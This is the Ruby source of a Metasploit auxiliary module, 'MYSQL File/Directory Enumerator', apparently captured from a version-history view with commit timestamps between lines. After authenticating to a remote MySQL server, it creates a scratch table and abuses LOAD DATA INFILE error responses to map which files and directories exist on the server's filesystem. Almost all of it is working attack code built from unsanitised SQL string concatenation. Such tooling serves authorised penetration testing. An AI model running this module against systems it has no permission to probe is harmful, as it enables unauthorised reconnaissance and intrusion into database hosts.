2013-01-19 22:48:00 +00:00
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'yaml'
class Metasploit3 < Msf :: Auxiliary
include Msf :: Exploit :: Remote :: MYSQL
include Msf :: Auxiliary :: Report
include Msf :: Auxiliary :: Scanner
def initialize
super (
'Name' = > 'MYSQL File/Directory Enumerator' ,
'Description' = > %Q{
2013-01-21 11:26:35 +00:00
Enumerate files and directories using the MySQL load_file feature , for more
information see the URL in the references .
2013-01-19 22:48:00 +00:00
} ,
'Author' = > [ 'Robin Wood <robin[at]digininja.org>' ] ,
'References' = > [
2013-01-21 11:26:35 +00:00
[ 'URL' , 'http://pauldotcom.com/2013/01/mysql-file-system-enumeration.html' ] ,
[ 'URL' , 'http://www.digininja.org/projects/mysql_file_enum.php' ]
] ,
2013-01-19 22:48:00 +00:00
'License' = > MSF_LICENSE
)
register_options ( [
2013-01-20 00:12:38 +00:00
OptPath . new ( 'FILE_LIST' , [ true , " List of directories to enumerate " , '' ] ) ,
2013-01-21 11:26:35 +00:00
OptString . new ( 'DATABASE_NAME' , [ true , " Name of database to use " , 'mysql' ] ) ,
2013-01-20 00:12:38 +00:00
OptString . new ( 'TABLE_NAME' , [ true , " Name of table to use - Warning, if the table already exists its contents will be corrupted " , Rex :: Text . rand_text_alpha ( 8 ) ] ) ,
2013-01-19 22:48:00 +00:00
OptString . new ( 'USERNAME' , [ true , 'The username to authenticate as' , " root " ] )
2013-01-21 11:26:35 +00:00
] )
2013-01-19 22:48:00 +00:00
end
2013-01-21 11:26:35 +00:00
# This function does not handle any errors, if you use this
# make sure you handle the errors yourself
def mysql_query_no_handle ( sql )
res = @mysql_handle . query ( sql )
res
end
def peer
" #{ rhost } : #{ rport } "
end
2013-01-19 22:48:00 +00:00
def run_host ( ip )
2013-01-21 11:26:35 +00:00
vprint_status ( " #{ peer } - Login... " )
2013-01-19 22:48:00 +00:00
if ( not mysql_login_datastore )
return
end
2013-01-20 21:32:02 +00:00
begin
mysql_query_no_handle ( " USE " + datastore [ 'DATABASE_NAME' ] )
rescue :: RbMysql :: Error = > e
2013-01-21 11:26:35 +00:00
vprint_error ( " #{ peer } - MySQL Error: #{ e . class } #{ e . to_s } " )
2013-01-20 21:32:02 +00:00
return
rescue Rex :: ConnectionTimeout = > e
2013-01-21 11:26:35 +00:00
vprint_error ( " #{ peer } - Timeout: #{ e . message } " )
2013-01-20 21:32:02 +00:00
return
end
2013-01-19 22:48:00 +00:00
res = mysql_query ( " SELECT * FROM information_schema.TABLES WHERE TABLE_SCHEMA = ' " + datastore [ 'DATABASE_NAME' ] + " ' AND TABLE_NAME = ' " + datastore [ 'TABLE_NAME' ] + " '; " )
table_exists = ( res . size == 1 )
if ! table_exists
2013-01-21 11:26:35 +00:00
vprint_status ( " #{ peer } - Table doesn't exist so creating it " )
2013-01-19 22:48:00 +00:00
mysql_query ( " CREATE TABLE " + datastore [ 'TABLE_NAME' ] + " (brute int); " )
end
file = File . new ( datastore [ 'FILE_LIST' ] , " r " )
file . each_line do | line |
check_dir ( line . chomp )
end
2013-01-21 11:26:35 +00:00
file . close
2013-01-19 22:48:00 +00:00
if ! table_exists
2013-01-21 11:26:35 +00:00
vprint_status ( " #{ peer } - Cleaning up the temp table " )
2013-01-19 22:48:00 +00:00
mysql_query ( " DROP TABLE " + datastore [ 'TABLE_NAME' ] )
end
end
def check_dir dir
begin
2013-01-20 00:02:07 +00:00
res = mysql_query_no_handle ( " LOAD DATA INFILE ' " + dir + " ' INTO TABLE " + datastore [ 'TABLE_NAME' ] )
2013-01-19 22:48:00 +00:00
rescue :: RbMysql :: TextfileNotReadable
2013-01-21 11:26:35 +00:00
print_good ( " #{ peer } - #{ dir } is a directory and exists " )
report_note (
:host = > rhost ,
:type = > " filesystem.dir " ,
:data = > " #{ dir } is a directory and exists " ,
:port = > rport ,
:proto = > 'tcp' ,
:update = > :unique_data
)
2013-01-22 15:42:23 +00:00
rescue :: RbMysql :: DataTooLong , :: RbMysql :: TruncatedWrongValueForField
print_good ( " #{ peer } - #{ dir } is a file and exists " )
report_note (
:host = > rhost ,
:type = > " filesystem.file " ,
:data = > " #{ dir } is a file and exists " ,
:port = > rport ,
:proto = > 'tcp' ,
:update = > :unique_data
)
2013-01-19 22:48:00 +00:00
rescue :: RbMysql :: ServerError
2013-01-21 11:26:35 +00:00
vprint_warning ( " #{ peer } - #{ dir } does not exist " )
2013-01-19 22:48:00 +00:00
rescue :: RbMysql :: Error = > e
2013-01-21 11:26:35 +00:00
vprint_error ( " #{ peer } - MySQL Error: #{ e . class } #{ e . to_s } " )
2013-01-19 22:48:00 +00:00
return
rescue Rex :: ConnectionTimeout = > e
2013-01-21 11:26:35 +00:00
vprint_error ( " #{ peer } - Timeout: #{ e . message } " )
2013-01-19 22:48:00 +00:00
return
else
2013-01-21 11:26:35 +00:00
print_good ( " #{ peer } - #{ dir } is a file and exists " )
report_note (
:host = > rhost ,
:type = > " filesystem.file " ,
:data = > " #{ dir } is a file and exists " ,
:port = > rport ,
:proto = > 'tcp' ,
:update = > :unique_data
)
2013-01-19 22:48:00 +00:00
end
return
end
end